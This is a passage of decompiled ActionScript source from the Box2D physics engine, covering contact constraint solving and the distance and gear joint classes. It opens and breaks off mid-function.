_local12 = (_local12 + (_local16 * ((_local24 * _local38) - (_local25 * _local37))));
_local8.m_sweep.a = _local12;
_local8.SynchronizeTransform();
_local20++;
};
_local5++;
};
return ((_local2 >= (-1.5 * b2Settings.b2_linearSlop)));
}
public function SolveVelocityConstraints():void{
var _local1:int;
var _local2:b2ContactConstraintPoint;
var _local3:Number;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:b2Mat22;
var _local18:b2Vec2;
var _local19:int;
var _local20:b2ContactConstraint;
var _local21:b2Body;
var _local22:b2Body;
var _local23:Number;
var _local24:Number;
var _local25:b2Vec2;
var _local26:b2Vec2;
var _local27:Number;
var _local28:Number;
var _local29:Number;
var _local30:Number;
var _local31:Number;
var _local32:Number;
var _local33:Number;
var _local34:Number;
var _local35:Number;
var _local36:Number;
var _local37:int;
var _local38:Number;
_local19 = 0;
while (_local19 < m_constraintCount) {
_local20 = m_constraints[_local19];
_local21 = _local20.body1;
_local22 = _local20.body2;
_local23 = _local21.m_angularVelocity;
_local24 = _local22.m_angularVelocity;
_local25 = _local21.m_linearVelocity;
_local26 = _local22.m_linearVelocity;
_local27 = _local21.m_invMass;
_local28 = _local21.m_invI;
_local29 = _local22.m_invMass;
_local30 = _local22.m_invI;
_local31 = _local20.normal.x;
_local32 = _local20.normal.y;
_local33 = _local32;
_local34 = -(_local31);
_local35 = _local20.friction;
_local37 = _local20.pointCount;
_local1 = 0;
while (_local1 < _local37) {
_local2 = _local20.points[_local1];
_local7 = (((_local26.x + (-(_local24) * _local2.r2.y)) - _local25.x) - (-(_local23) * _local2.r1.y));
_local8 = (((_local26.y + (_local24 * _local2.r2.x)) - _local25.y) - (_local23 * _local2.r1.x));
_local9 = ((_local7 * _local31) + (_local8 * _local32));
_local11 = (-(_local2.normalMass) * (_local9 - _local2.velocityBias));
_local10 = ((_local7 * _local33) + (_local8 * _local34));
_local12 = (_local2.tangentMass * -(_local10));
_local13 = b2Math.b2Max((_local2.normalImpulse + _local11), 0);
_local11 = (_local13 - _local2.normalImpulse);
_local38 = (_local35 * _local2.normalImpulse);
_local14 = b2Math.b2Clamp((_local2.tangentImpulse + _local12), -(_local38), _local38);
_local12 = (_local14 - _local2.tangentImpulse);
_local15 = ((_local11 * _local31) + (_local12 * _local33));
_local16 = ((_local11 * _local32) + (_local12 * _local34));
_local25.x = (_local25.x - (_local27 * _local15));
_local25.y = (_local25.y - (_local27 * _local16));
_local23 = (_local23 - (_local28 * ((_local2.r1.x * _local16) - (_local2.r1.y * _local15))));
_local26.x = (_local26.x + (_local29 * _local15));
_local26.y = (_local26.y + (_local29 * _local16));
_local24 = (_local24 + (_local30 * ((_local2.r2.x * _local16) - (_local2.r2.y * _local15))));
_local2.normalImpulse = _local13;
_local2.tangentImpulse = _local14;
_local1++;
};
_local21.m_angularVelocity = _local23;
_local22.m_angularVelocity = _local24;
_local19++;
};
}
public function FinalizeVelocityConstraints():void{
var _local1:int;
var _local2:b2ContactConstraint;
var _local3:b2Manifold;
var _local4:int;
var _local5:b2ManifoldPoint;
var _local6:b2ContactConstraintPoint;
_local1 = 0;
while (_local1 < m_constraintCount) {
_local2 = m_constraints[_local1];
_local3 = _local2.manifold;
_local4 = 0;
while (_local4 < _local2.pointCount) {
_local5 = _local3.points[_local4];
_local6 = _local2.points[_local4];
_local5.normalImpulse = _local6.normalImpulse;
_local5.tangentImpulse = _local6.tangentImpulse;
_local4++;
};
_local1++;
};
}
}
}//package Box2D.Dynamics.Contacts
Section 47
//b2NullContact (Box2D.Dynamics.Contacts.b2NullContact)
package Box2D.Dynamics.Contacts {
import Box2D.Dynamics.*;
public class b2NullContact extends b2Contact {
override public function GetManifolds():Array{
return (null);
}
override public function Evaluate(_arg1:b2ContactListener):void{
}
}
}//package Box2D.Dynamics.Contacts
Section 48
//b2PolyAndCircleContact (Box2D.Dynamics.Contacts.b2PolyAndCircleContact)
package Box2D.Dynamics.Contacts {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Dynamics.*;
import Box2D.Collision.*;
import Box2D.Common.*;
public class b2PolyAndCircleContact extends b2Contact {
private var m_manifolds:Array;
private var m0:b2Manifold;
public var m_manifold:b2Manifold;
private static const s_evalCP:b2ContactPoint = new b2ContactPoint();
public function b2PolyAndCircleContact(_arg1:b2Shape, _arg2:b2Shape){
var _local3:b2ManifoldPoint;
m_manifolds = [new b2Manifold()];
m0 = new b2Manifold();
super(_arg1, _arg2);
m_manifold = m_manifolds[0];
b2Settings.b2Assert((m_shape1.m_type == b2Shape.e_polygonShape));
b2Settings.b2Assert((m_shape2.m_type == b2Shape.e_circleShape));
m_manifold.pointCount = 0;
_local3 = m_manifold.points[0];
_local3.normalImpulse = 0;
_local3.tangentImpulse = 0;
}
override public function GetManifolds():Array{
return (m_manifolds);
}
override public function Evaluate(_arg1:b2ContactListener):void{
var _local2:int;
var _local3:b2Vec2;
var _local4:b2Vec2;
var _local5:b2ManifoldPoint;
var _local6:b2Body;
var _local7:b2Body;
var _local8:Array;
var _local9:b2ContactPoint;
var _local10:b2ManifoldPoint;
var _local11:Boolean;
var _local12:uint;
var _local13:int;
_local6 = m_shape1.m_body;
_local7 = m_shape2.m_body;
m0.Set(m_manifold);
b2Collision.b2CollidePolygonAndCircle(m_manifold, (m_shape1 as b2PolygonShape), _local6.m_xf, (m_shape2 as b2CircleShape), _local7.m_xf);
_local8 = [false, false];
_local9 = s_evalCP;
_local9.shape1 = m_shape1;
_local9.shape2 = m_shape2;
_local9.friction = m_friction;
_local9.restitution = m_restitution;
if (m_manifold.pointCount > 0){
_local2 = 0;
while (_local2 < m_manifold.pointCount) {
_local10 = m_manifold.points[_local2];
_local10.normalImpulse = 0;
_local10.tangentImpulse = 0;
_local11 = false;
_local12 = _local10.id._key;
_local13 = 0;
while (_local13 < m0.pointCount) {
if (_local8[_local13] == true){
} else {
_local5 = m0.points[_local13];
if (_local5.id._key == _local12){
_local8[_local13] = true;
_local10.normalImpulse = _local5.normalImpulse;
_local10.tangentImpulse = _local5.tangentImpulse;
_local11 = true;
if (_arg1 != null){
_local9.position = _local6.GetWorldPoint(_local10.localPoint1);
_local3 = _local6.GetLinearVelocityFromLocalPoint(_local10.localPoint1);
_local4 = _local7.GetLinearVelocityFromLocalPoint(_local10.localPoint2);
_local9.velocity.Set((_local4.x - _local3.x), (_local4.y - _local3.y));
_local9.normal.SetV(m_manifold.normal);
_local9.separation = _local10.separation;
_local9.id.key = _local12;
_arg1.Persist(_local9);
};
break;
};
};
_local13++;
};
if ((((_local11 == false)) && (!((_arg1 == null))))){
_local9.position = _local6.GetWorldPoint(_local10.localPoint1);
_local3 = _local6.GetLinearVelocityFromLocalPoint(_local10.localPoint1);
_local4 = _local7.GetLinearVelocityFromLocalPoint(_local10.localPoint2);
_local9.velocity.Set((_local4.x - _local3.x), (_local4.y - _local3.y));
_local9.normal.SetV(m_manifold.normal);
_local9.separation = _local10.separation;
_local9.id.key = _local12;
_arg1.Add(_local9);
};
_local2++;
};
m_manifoldCount = 1;
} else {
m_manifoldCount = 0;
};
if (_arg1 == null){
return;
};
_local2 = 0;
while (_local2 < m0.pointCount) {
if (_local8[_local2]){
} else {
_local5 = m0.points[_local2];
_local9.position = _local6.GetWorldPoint(_local5.localPoint1);
_local3 = _local6.GetLinearVelocityFromLocalPoint(_local5.localPoint1);
_local4 = _local7.GetLinearVelocityFromLocalPoint(_local5.localPoint2);
_local9.velocity.Set((_local4.x - _local3.x), (_local4.y - _local3.y));
_local9.normal.SetV(m0.normal);
_local9.separation = _local5.separation;
_local9.id.key = _local5.id._key;
_arg1.Remove(_local9);
};
_local2++;
};
}
public static function Destroy(_arg1:b2Contact, _arg2):void{
}
public static function Create(_arg1:b2Shape, _arg2:b2Shape, _arg3):b2Contact{
return (new b2PolyAndCircleContact(_arg1, _arg2));
}
}
}//package Box2D.Dynamics.Contacts
Section 49
//b2PolygonContact (Box2D.Dynamics.Contacts.b2PolygonContact)
package Box2D.Dynamics.Contacts {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Dynamics.*;
import Box2D.Collision.*;
public class b2PolygonContact extends b2Contact {
private var m_manifolds:Array;
private var m0:b2Manifold;
public var m_manifold:b2Manifold;
private static const s_evalCP:b2ContactPoint = new b2ContactPoint();
public function b2PolygonContact(_arg1:b2Shape, _arg2:b2Shape):void{
m0 = new b2Manifold();
m_manifolds = [new b2Manifold()];
super(_arg1, _arg2);
m_manifold = m_manifolds[0];
m_manifold.pointCount = 0;
}
override public function GetManifolds():Array{
return (m_manifolds);
}
override public function Evaluate(_arg1:b2ContactListener):void{
var _local2:b2Vec2;
var _local3:b2Vec2;
var _local4:b2ManifoldPoint;
var _local5:b2Body;
var _local6:b2Body;
var _local7:b2ContactPoint;
var _local8:int;
var _local9:Array;
var _local10:b2ManifoldPoint;
var _local11:Boolean;
var _local12:uint;
var _local13:int;
_local5 = m_shape1.m_body;
_local6 = m_shape2.m_body;
m0.Set(m_manifold);
b2Collision.b2CollidePolygons(m_manifold, (m_shape1 as b2PolygonShape), _local5.m_xf, (m_shape2 as b2PolygonShape), _local6.m_xf);
_local9 = [false, false];
_local7 = s_evalCP;
_local7.shape1 = m_shape1;
_local7.shape2 = m_shape2;
_local7.friction = m_friction;
_local7.restitution = m_restitution;
if (m_manifold.pointCount > 0){
_local8 = 0;
while (_local8 < m_manifold.pointCount) {
_local10 = m_manifold.points[_local8];
_local10.normalImpulse = 0;
_local10.tangentImpulse = 0;
_local11 = false;
_local12 = _local10.id._key;
_local13 = 0;
while (_local13 < m0.pointCount) {
if (_local9[_local13] == true){
} else {
_local4 = m0.points[_local13];
if (_local4.id._key == _local12){
_local9[_local13] = true;
_local10.normalImpulse = _local4.normalImpulse;
_local10.tangentImpulse = _local4.tangentImpulse;
_local11 = true;
if (_arg1 != null){
_local7.position = _local5.GetWorldPoint(_local10.localPoint1);
_local2 = _local5.GetLinearVelocityFromLocalPoint(_local10.localPoint1);
_local3 = _local6.GetLinearVelocityFromLocalPoint(_local10.localPoint2);
_local7.velocity.Set((_local3.x - _local2.x), (_local3.y - _local2.y));
_local7.normal.SetV(m_manifold.normal);
_local7.separation = _local10.separation;
_local7.id.key = _local12;
_arg1.Persist(_local7);
};
break;
};
};
_local13++;
};
if ((((_local11 == false)) && (!((_arg1 == null))))){
_local7.position = _local5.GetWorldPoint(_local10.localPoint1);
_local2 = _local5.GetLinearVelocityFromLocalPoint(_local10.localPoint1);
_local3 = _local6.GetLinearVelocityFromLocalPoint(_local10.localPoint2);
_local7.velocity.Set((_local3.x - _local2.x), (_local3.y - _local2.y));
_local7.normal.SetV(m_manifold.normal);
_local7.separation = _local10.separation;
_local7.id.key = _local12;
_arg1.Add(_local7);
};
_local8++;
};
m_manifoldCount = 1;
} else {
m_manifoldCount = 0;
};
if (_arg1 == null){
return;
};
_local8 = 0;
while (_local8 < m0.pointCount) {
if (_local9[_local8]){
} else {
_local4 = m0.points[_local8];
_local7.position = _local5.GetWorldPoint(_local4.localPoint1);
_local2 = _local5.GetLinearVelocityFromLocalPoint(_local4.localPoint1);
_local3 = _local6.GetLinearVelocityFromLocalPoint(_local4.localPoint2);
_local7.velocity.Set((_local3.x - _local2.x), (_local3.y - _local2.y));
_local7.normal.SetV(m0.normal);
_local7.separation = _local4.separation;
_local7.id.key = _local4.id._key;
_arg1.Remove(_local7);
};
_local8++;
};
}
public static function Destroy(_arg1:b2Contact, _arg2):void{
}
public static function Create(_arg1:b2Shape, _arg2:b2Shape, _arg3):b2Contact{
return (new b2PolygonContact(_arg1, _arg2));
}
}
}//package Box2D.Dynamics.Contacts
Section 50
//b2DistanceJoint (Box2D.Dynamics.Joints.b2DistanceJoint)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Common.*;
public class b2DistanceJoint extends b2Joint {
public var m_mass:Number;
public var m_u:b2Vec2;
public var m_impulse:Number;
public var m_dampingRatio:Number;
public var m_frequencyHz:Number;
public var m_localAnchor2:b2Vec2;
public var m_localAnchor1:b2Vec2;
public var m_bias:Number;
public var m_gamma:Number;
public var m_length:Number;
public function b2DistanceJoint(_arg1:b2DistanceJointDef){
var _local2:b2Mat22;
var _local3:Number;
var _local4:Number;
m_localAnchor1 = new b2Vec2();
m_localAnchor2 = new b2Vec2();
m_u = new b2Vec2();
super(_arg1);
m_localAnchor1.SetV(_arg1.localAnchor1);
m_localAnchor2.SetV(_arg1.localAnchor2);
m_length = _arg1.length;
m_frequencyHz = _arg1.frequencyHz;
m_dampingRatio = _arg1.dampingRatio;
m_impulse = 0;
m_gamma = 0;
m_bias = 0;
m_inv_dt = 0;
}
override public function GetAnchor1():b2Vec2{
return (m_body1.GetWorldPoint(m_localAnchor1));
}
override public function GetAnchor2():b2Vec2{
return (m_body2.GetWorldPoint(m_localAnchor2));
}
override public function GetReactionForce():b2Vec2{
var _local1:b2Vec2;
_local1 = new b2Vec2();
_local1.SetV(m_u);
_local1.Multiply((m_inv_dt * m_impulse));
return (_local1);
}
override public function SolvePositionConstraints():Boolean{
var _local1:b2Mat22;
var _local2:b2Body;
var _local3:b2Body;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
if (m_frequencyHz > 0){
return (true);
};
_local2 = m_body1;
_local3 = m_body2;
_local1 = _local2.m_xf.R;
_local4 = (m_localAnchor1.x - _local2.m_sweep.localCenter.x);
_local5 = (m_localAnchor1.y - _local2.m_sweep.localCenter.y);
_local6 = ((_local1.col1.x * _local4) + (_local1.col2.x * _local5));
_local5 = ((_local1.col1.y * _local4) + (_local1.col2.y * _local5));
_local4 = _local6;
_local1 = _local3.m_xf.R;
_local7 = (m_localAnchor2.x - _local3.m_sweep.localCenter.x);
_local8 = (m_localAnchor2.y - _local3.m_sweep.localCenter.y);
_local6 = ((_local1.col1.x * _local7) + (_local1.col2.x * _local8));
_local8 = ((_local1.col1.y * _local7) + (_local1.col2.y * _local8));
_local7 = _local6;
_local9 = (((_local3.m_sweep.c.x + _local7) - _local2.m_sweep.c.x) - _local4);
_local10 = (((_local3.m_sweep.c.y + _local8) - _local2.m_sweep.c.y) - _local5);
_local11 = Math.sqrt(((_local9 * _local9) + (_local10 * _local10)));
_local9 = (_local9 / _local11);
_local10 = (_local10 / _local11);
_local12 = (_local11 - m_length);
_local12 = b2Math.b2Clamp(_local12, -(b2Settings.b2_maxLinearCorrection), b2Settings.b2_maxLinearCorrection);
_local13 = (-(m_mass) * _local12);
m_u.Set(_local9, _local10);
_local14 = (_local13 * m_u.x);
_local15 = (_local13 * m_u.y);
_local2.m_sweep.c.x = (_local2.m_sweep.c.x - (_local2.m_invMass * _local14));
_local2.m_sweep.c.y = (_local2.m_sweep.c.y - (_local2.m_invMass * _local15));
_local2.m_sweep.a = (_local2.m_sweep.a - (_local2.m_invI * ((_local4 * _local15) - (_local5 * _local14))));
_local3.m_sweep.c.x = (_local3.m_sweep.c.x + (_local3.m_invMass * _local14));
_local3.m_sweep.c.y = (_local3.m_sweep.c.y + (_local3.m_invMass * _local15));
_local3.m_sweep.a = (_local3.m_sweep.a + (_local3.m_invI * ((_local7 * _local15) - (_local8 * _local14))));
_local2.SynchronizeTransform();
_local3.SynchronizeTransform();
return ((b2Math.b2Abs(_local12) < b2Settings.b2_linearSlop));
}
override public function InitVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Mat22;
var _local3:Number;
var _local4:b2Body;
var _local5:b2Body;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
m_inv_dt = _arg1.inv_dt;
_local4 = m_body1;
_local5 = m_body2;
_local2 = _local4.m_xf.R;
_local6 = (m_localAnchor1.x - _local4.m_sweep.localCenter.x);
_local7 = (m_localAnchor1.y - _local4.m_sweep.localCenter.y);
_local3 = ((_local2.col1.x * _local6) + (_local2.col2.x * _local7));
_local7 = ((_local2.col1.y * _local6) + (_local2.col2.y * _local7));
_local6 = _local3;
_local2 = _local5.m_xf.R;
_local8 = (m_localAnchor2.x - _local5.m_sweep.localCenter.x);
_local9 = (m_localAnchor2.y - _local5.m_sweep.localCenter.y);
_local3 = ((_local2.col1.x * _local8) + (_local2.col2.x * _local9));
_local9 = ((_local2.col1.y * _local8) + (_local2.col2.y * _local9));
_local8 = _local3;
m_u.x = (((_local5.m_sweep.c.x + _local8) - _local4.m_sweep.c.x) - _local6);
m_u.y = (((_local5.m_sweep.c.y + _local9) - _local4.m_sweep.c.y) - _local7);
_local10 = Math.sqrt(((m_u.x * m_u.x) + (m_u.y * m_u.y)));
if (_local10 > b2Settings.b2_linearSlop){
m_u.Multiply((1 / _local10));
} else {
m_u.SetZero();
};
_local11 = ((_local6 * m_u.y) - (_local7 * m_u.x));
_local12 = ((_local8 * m_u.y) - (_local9 * m_u.x));
_local13 = (((_local4.m_invMass + ((_local4.m_invI * _local11) * _local11)) + _local5.m_invMass) + ((_local5.m_invI * _local12) * _local12));
m_mass = (1 / _local13);
if (m_frequencyHz > 0){
_local14 = (_local10 - m_length);
_local15 = ((2 * Math.PI) * m_frequencyHz);
_local16 = (((2 * m_mass) * m_dampingRatio) * _local15);
_local17 = ((m_mass * _local15) * _local15);
m_gamma = (1 / (_arg1.dt * (_local16 + (_arg1.dt * _local17))));
m_bias = (((_local14 * _arg1.dt) * _local17) * m_gamma);
m_mass = (1 / (_local13 + m_gamma));
};
if (_arg1.warmStarting){
m_impulse = (m_impulse * _arg1.dtRatio);
_local18 = (m_impulse * m_u.x);
_local19 = (m_impulse * m_u.y);
_local4.m_linearVelocity.x = (_local4.m_linearVelocity.x - (_local4.m_invMass * _local18));
_local4.m_linearVelocity.y = (_local4.m_linearVelocity.y - (_local4.m_invMass * _local19));
_local4.m_angularVelocity = (_local4.m_angularVelocity - (_local4.m_invI * ((_local6 * _local19) - (_local7 * _local18))));
_local5.m_linearVelocity.x = (_local5.m_linearVelocity.x + (_local5.m_invMass * _local18));
_local5.m_linearVelocity.y = (_local5.m_linearVelocity.y + (_local5.m_invMass * _local19));
_local5.m_angularVelocity = (_local5.m_angularVelocity + (_local5.m_invI * ((_local8 * _local19) - (_local9 * _local18))));
} else {
m_impulse = 0;
};
}
override public function GetReactionTorque():Number{
return (0);
}
override public function SolveVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Mat22;
var _local3:b2Body;
var _local4:b2Body;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
_local3 = m_body1;
_local4 = m_body2;
_local2 = _local3.m_xf.R;
_local5 = (m_localAnchor1.x - _local3.m_sweep.localCenter.x);
_local6 = (m_localAnchor1.y - _local3.m_sweep.localCenter.y);
_local7 = ((_local2.col1.x * _local5) + (_local2.col2.x * _local6));
_local6 = ((_local2.col1.y * _local5) + (_local2.col2.y * _local6));
_local5 = _local7;
_local2 = _local4.m_xf.R;
_local8 = (m_localAnchor2.x - _local4.m_sweep.localCenter.x);
_local9 = (m_localAnchor2.y - _local4.m_sweep.localCenter.y);
_local7 = ((_local2.col1.x * _local8) + (_local2.col2.x * _local9));
_local9 = ((_local2.col1.y * _local8) + (_local2.col2.y * _local9));
_local8 = _local7;
_local10 = (_local3.m_linearVelocity.x + (-(_local3.m_angularVelocity) * _local6));
_local11 = (_local3.m_linearVelocity.y + (_local3.m_angularVelocity * _local5));
_local12 = (_local4.m_linearVelocity.x + (-(_local4.m_angularVelocity) * _local9));
_local13 = (_local4.m_linearVelocity.y + (_local4.m_angularVelocity * _local8));
_local14 = ((m_u.x * (_local12 - _local10)) + (m_u.y * (_local13 - _local11)));
_local15 = (-(m_mass) * ((_local14 + m_bias) + (m_gamma * m_impulse)));
m_impulse = (m_impulse + _local15);
_local16 = (_local15 * m_u.x);
_local17 = (_local15 * m_u.y);
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x - (_local3.m_invMass * _local16));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y - (_local3.m_invMass * _local17));
_local3.m_angularVelocity = (_local3.m_angularVelocity - (_local3.m_invI * ((_local5 * _local17) - (_local6 * _local16))));
_local4.m_linearVelocity.x = (_local4.m_linearVelocity.x + (_local4.m_invMass * _local16));
_local4.m_linearVelocity.y = (_local4.m_linearVelocity.y + (_local4.m_invMass * _local17));
_local4.m_angularVelocity = (_local4.m_angularVelocity + (_local4.m_invI * ((_local8 * _local17) - (_local9 * _local16))));
}
}
}//package Box2D.Dynamics.Joints
Section 51
//b2DistanceJointDef (Box2D.Dynamics.Joints.b2DistanceJointDef)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
public class b2DistanceJointDef extends b2JointDef {
public var length:Number;
public var dampingRatio:Number;
public var frequencyHz:Number;
public var localAnchor2:b2Vec2;
public var localAnchor1:b2Vec2;
public function b2DistanceJointDef(){
localAnchor1 = new b2Vec2();
localAnchor2 = new b2Vec2();
super();
type = b2Joint.e_distanceJoint;
length = 1;
frequencyHz = 0;
dampingRatio = 0;
}
public function Initialize(_arg1:b2Body, _arg2:b2Body, _arg3:b2Vec2, _arg4:b2Vec2):void{
var _local5:Number;
var _local6:Number;
body1 = _arg1;
body2 = _arg2;
localAnchor1.SetV(body1.GetLocalPoint(_arg3));
localAnchor2.SetV(body2.GetLocalPoint(_arg4));
_local5 = (_arg4.x - _arg3.x);
_local6 = (_arg4.y - _arg3.y);
length = Math.sqrt(((_local5 * _local5) + (_local6 * _local6)));
frequencyHz = 0;
dampingRatio = 0;
}
}
}//package Box2D.Dynamics.Joints
Section 52
//b2GearJoint (Box2D.Dynamics.Joints.b2GearJoint)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Common.*;
public class b2GearJoint extends b2Joint {
public var m_force:Number;
public var m_mass:Number;
public var m_prismatic1:b2PrismaticJoint;
public var m_prismatic2:b2PrismaticJoint;
public var m_ground1:b2Body;
public var m_ground2:b2Body;
public var m_constant:Number;
public var m_revolute1:b2RevoluteJoint;
public var m_revolute2:b2RevoluteJoint;
public var m_groundAnchor1:b2Vec2;
public var m_groundAnchor2:b2Vec2;
public var m_localAnchor1:b2Vec2;
public var m_localAnchor2:b2Vec2;
public var m_ratio:Number;
public var m_J:b2Jacobian;
public function b2GearJoint(_arg1:b2GearJointDef){
var _local2:int;
var _local3:int;
var _local4:Number;
var _local5:Number;
m_groundAnchor1 = new b2Vec2();
m_groundAnchor2 = new b2Vec2();
m_localAnchor1 = new b2Vec2();
m_localAnchor2 = new b2Vec2();
m_J = new b2Jacobian();
super(_arg1);
_local2 = _arg1.joint1.m_type;
_local3 = _arg1.joint2.m_type;
m_revolute1 = null;
m_prismatic1 = null;
m_revolute2 = null;
m_prismatic2 = null;
m_ground1 = _arg1.joint1.m_body1;
m_body1 = _arg1.joint1.m_body2;
if (_local2 == b2Joint.e_revoluteJoint){
m_revolute1 = (_arg1.joint1 as b2RevoluteJoint);
m_groundAnchor1.SetV(m_revolute1.m_localAnchor1);
m_localAnchor1.SetV(m_revolute1.m_localAnchor2);
_local4 = m_revolute1.GetJointAngle();
} else {
m_prismatic1 = (_arg1.joint1 as b2PrismaticJoint);
m_groundAnchor1.SetV(m_prismatic1.m_localAnchor1);
m_localAnchor1.SetV(m_prismatic1.m_localAnchor2);
_local4 = m_prismatic1.GetJointTranslation();
};
m_ground2 = _arg1.joint2.m_body1;
m_body2 = _arg1.joint2.m_body2;
if (_local3 == b2Joint.e_revoluteJoint){
m_revolute2 = (_arg1.joint2 as b2RevoluteJoint);
m_groundAnchor2.SetV(m_revolute2.m_localAnchor1);
m_localAnchor2.SetV(m_revolute2.m_localAnchor2);
_local5 = m_revolute2.GetJointAngle();
} else {
m_prismatic2 = (_arg1.joint2 as b2PrismaticJoint);
m_groundAnchor2.SetV(m_prismatic2.m_localAnchor1);
m_localAnchor2.SetV(m_prismatic2.m_localAnchor2);
_local5 = m_prismatic2.GetJointTranslation();
};
m_ratio = _arg1.ratio;
m_constant = (_local4 + (m_ratio * _local5));
m_force = 0;
}
override public function GetAnchor1():b2Vec2{
return (m_body1.GetWorldPoint(m_localAnchor1));
}
override public function GetAnchor2():b2Vec2{
return (m_body2.GetWorldPoint(m_localAnchor2));
}
override public function GetReactionForce():b2Vec2{
var _local1:b2Vec2;
_local1 = new b2Vec2((m_force * m_J.linear2.x), (m_force * m_J.linear2.y));
return (_local1);
}
override public function SolvePositionConstraints():Boolean{
var _local1:Number;
var _local2:b2Body;
var _local3:b2Body;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
_local1 = 0;
_local2 = m_body1;
_local3 = m_body2;
if (m_revolute1){
_local4 = m_revolute1.GetJointAngle();
} else {
_local4 = m_prismatic1.GetJointTranslation();
};
if (m_revolute2){
_local5 = m_revolute2.GetJointAngle();
} else {
_local5 = m_prismatic2.GetJointTranslation();
};
_local6 = (m_constant - (_local4 + (m_ratio * _local5)));
_local7 = (-(m_mass) * _local6);
_local2.m_sweep.c.x = (_local2.m_sweep.c.x + ((_local2.m_invMass * _local7) * m_J.linear1.x));
_local2.m_sweep.c.y = (_local2.m_sweep.c.y + ((_local2.m_invMass * _local7) * m_J.linear1.y));
_local2.m_sweep.a = (_local2.m_sweep.a + ((_local2.m_invI * _local7) * m_J.angular1));
_local3.m_sweep.c.x = (_local3.m_sweep.c.x + ((_local3.m_invMass * _local7) * m_J.linear2.x));
_local3.m_sweep.c.y = (_local3.m_sweep.c.y + ((_local3.m_invMass * _local7) * m_J.linear2.y));
_local3.m_sweep.a = (_local3.m_sweep.a + ((_local3.m_invI * _local7) * m_J.angular2));
_local2.SynchronizeTransform();
_local3.SynchronizeTransform();
return ((_local1 < b2Settings.b2_linearSlop));
}
override public function InitVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Body;
var _local4:b2Body;
var _local5:b2Body;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:b2Mat22;
var _local11:b2Vec2;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
_local2 = m_ground1;
_local3 = m_ground2;
_local4 = m_body1;
_local5 = m_body2;
_local14 = 0;
m_J.SetZero();
if (m_revolute1){
m_J.angular1 = -1;
_local14 = (_local14 + _local4.m_invI);
} else {
_local10 = _local2.m_xf.R;
_local11 = m_prismatic1.m_localXAxis1;
_local6 = ((_local10.col1.x * _local11.x) + (_local10.col2.x * _local11.y));
_local7 = ((_local10.col1.y * _local11.x) + (_local10.col2.y * _local11.y));
_local10 = _local4.m_xf.R;
_local8 = (m_localAnchor1.x - _local4.m_sweep.localCenter.x);
_local9 = (m_localAnchor1.y - _local4.m_sweep.localCenter.y);
_local13 = ((_local10.col1.x * _local8) + (_local10.col2.x * _local9));
_local9 = ((_local10.col1.y * _local8) + (_local10.col2.y * _local9));
_local8 = _local13;
_local12 = ((_local8 * _local7) - (_local9 * _local6));
m_J.linear1.Set(-(_local6), -(_local7));
m_J.angular1 = -(_local12);
_local14 = (_local14 + (_local4.m_invMass + ((_local4.m_invI * _local12) * _local12)));
};
if (m_revolute2){
m_J.angular2 = -(m_ratio);
_local14 = (_local14 + ((m_ratio * m_ratio) * _local5.m_invI));
} else {
_local10 = _local3.m_xf.R;
_local11 = m_prismatic2.m_localXAxis1;
_local6 = ((_local10.col1.x * _local11.x) + (_local10.col2.x * _local11.y));
_local7 = ((_local10.col1.y * _local11.x) + (_local10.col2.y * _local11.y));
_local10 = _local5.m_xf.R;
_local8 = (m_localAnchor2.x - _local5.m_sweep.localCenter.x);
_local9 = (m_localAnchor2.y - _local5.m_sweep.localCenter.y);
_local13 = ((_local10.col1.x * _local8) + (_local10.col2.x * _local9));
_local9 = ((_local10.col1.y * _local8) + (_local10.col2.y * _local9));
_local8 = _local13;
_local12 = ((_local8 * _local7) - (_local9 * _local6));
m_J.linear2.Set((-(m_ratio) * _local6), (-(m_ratio) * _local7));
m_J.angular2 = (-(m_ratio) * _local12);
_local14 = (_local14 + ((m_ratio * m_ratio) * (_local5.m_invMass + ((_local5.m_invI * _local12) * _local12))));
};
m_mass = (1 / _local14);
if (_arg1.warmStarting){
_local15 = (_arg1.dt * m_force);
_local4.m_linearVelocity.x = (_local4.m_linearVelocity.x + ((_local4.m_invMass * _local15) * m_J.linear1.x));
_local4.m_linearVelocity.y = (_local4.m_linearVelocity.y + ((_local4.m_invMass * _local15) * m_J.linear1.y));
_local4.m_angularVelocity = (_local4.m_angularVelocity + ((_local4.m_invI * _local15) * m_J.angular1));
_local5.m_linearVelocity.x = (_local5.m_linearVelocity.x + ((_local5.m_invMass * _local15) * m_J.linear2.x));
_local5.m_linearVelocity.y = (_local5.m_linearVelocity.y + ((_local5.m_invMass * _local15) * m_J.linear2.y));
_local5.m_angularVelocity = (_local5.m_angularVelocity + ((_local5.m_invI * _local15) * m_J.angular2));
} else {
m_force = 0;
};
}
override public function GetReactionTorque():Number{
var _local1:b2Mat22;
var _local2:Number;
var _local3:Number;
var _local4:Number;
_local1 = m_body2.m_xf.R;
